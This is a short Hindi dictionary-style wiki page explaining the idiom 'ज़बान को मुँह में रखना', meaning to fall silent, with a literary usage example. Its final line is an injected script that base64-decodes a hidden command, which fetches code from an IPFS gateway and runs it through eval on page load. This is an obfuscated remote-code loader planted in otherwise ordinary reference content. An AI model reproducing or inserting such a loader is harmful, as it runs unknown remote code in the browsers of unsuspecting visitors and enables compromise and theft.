ज़बान को मुँह में रखना
भारत डिस्कवरी प्रस्तुति
सिद्धार्थ शुक्ला (चर्चा | योगदान) द्वारा परिवर्तित 12:34, 18 अक्टूबर 2015 का अवतरण (''''ज़बान को मुँह में रखना''' एक प्रचलित कहावत लोकोक्त...' के साथ नया पृष्ठ बनाया)
ज़बान को मुँह में रखना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।
अर्थ- चुप रहना या चुप हो जाना।
प्रयोग- उसने ज़बान को तो मुँह में रख लिया, मगर तमतमाए हुए चेहरे की एक एक शिरा नंगी तलवार-सी उठ खड़ी थी।(राजा राधिका रमण प्रसाद सिंह)
टीका टिप्पणी और संदर्भ
संबंधित लेख
कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>